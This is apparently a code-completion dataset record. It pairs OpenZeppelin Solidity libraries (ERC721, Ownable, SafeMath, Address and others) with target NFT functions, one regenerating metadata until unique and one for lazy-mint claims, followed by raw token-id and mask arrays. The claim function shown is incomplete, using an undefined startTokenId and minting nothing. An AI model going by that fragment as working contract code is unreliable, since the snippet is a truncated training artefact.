public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } // Check if the computed hash (root) is equal to the provided root return computedHash == root; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
Randomize metadata util it's unique
function generateMetadata(uint256 tokenId, uint256 seed) internal returns (uint256) { (uint256 random, uint256 meta) = IAstraMetadata(MetadataAddress).generate(seed); if(MetadataExisting[meta]) return generateMetadata(tokenId, random); else return meta; }
10,306,658
[ 1, 8529, 554, 1982, 1709, 518, 1807, 3089, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2103, 2277, 12, 11890, 5034, 1147, 548, 16, 2254, 5034, 5009, 13, 2713, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 261, 11890, 5034, 2744, 16, 2254, 5034, 2191, 13, 273, 467, 37, 701, 69, 2277, 12, 2277, 1887, 2934, 7163, 12, 12407, 1769, 203, 3639, 309, 12, 2277, 9895, 63, 3901, 5717, 203, 5411, 327, 2103, 2277, 12, 2316, 548, 16, 2744, 1769, 203, 3639, 469, 203, 5411, 327, 2191, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/80001/0x639F5AA749433B6Aa40fC0A2D91DFf449783acaE/sources/_thirdweb-dev/contracts/base/ERC721LazyMint.sol
* @notice Lets an address claim multiple lazy minted NFTs at once to a recipient. This function prevents any reentrant calls, and is not allowed to be overridden. Contract creators should override `verifyClaim` and `transferTokensOnClaim` functions to create custom logic for verification and claiming, for e.g. price collection, allowlist, max quantity, etc. @dev The logic in `verifyClaim` determines whether the caller is authorized to mint NFTs. The logic in `transferTokensOnClaim` does actual minting of tokens, can also be used to apply other state changes. @param _receiver The recipient of the NFT to mint. @param _quantity The number of NFTs to mint./
function claim(address _receiver, uint256 _quantity) public payable nonReentrant virtual { require(_currentIndex + _quantity <= nextTokenIdToLazyMint, "Not enough lazy minted tokens."); emit TokensClaimed(msg.sender, _receiver, startTokenId, _quantity); }
9,506,821
[ 1, 48, 2413, 392, 1758, 7516, 3229, 7962, 312, 474, 329, 423, 4464, 87, 622, 3647, 358, 279, 8027, 18, 10402, 1220, 445, 17793, 1281, 283, 8230, 970, 4097, 16, 471, 353, 486, 2935, 358, 506, 11000, 18, 10402, 13456, 1519, 3062, 1410, 3849, 1375, 8705, 9762, 68, 471, 1375, 13866, 5157, 1398, 9762, 68, 10402, 4186, 358, 752, 1679, 4058, 364, 11805, 471, 7516, 310, 16, 10402, 364, 425, 18, 75, 18, 6205, 1849, 16, 1699, 1098, 16, 943, 10457, 16, 5527, 18, 9079, 1021, 4058, 316, 1375, 8705, 9762, 68, 12949, 2856, 326, 4894, 353, 10799, 358, 312, 474, 423, 4464, 87, 18, 10402, 1021, 4058, 316, 1375, 13866, 5157, 1398, 9762, 68, 1552, 3214, 312, 474, 310, 434, 2430, 16, 10402, 848, 2546, 506, 1399, 358, 2230, 1308, 919, 3478, 18, 282, 389, 24454, 225, 1021, 8027, 434, 326, 423, 4464, 358, 312, 474, 18, 282, 2 ]
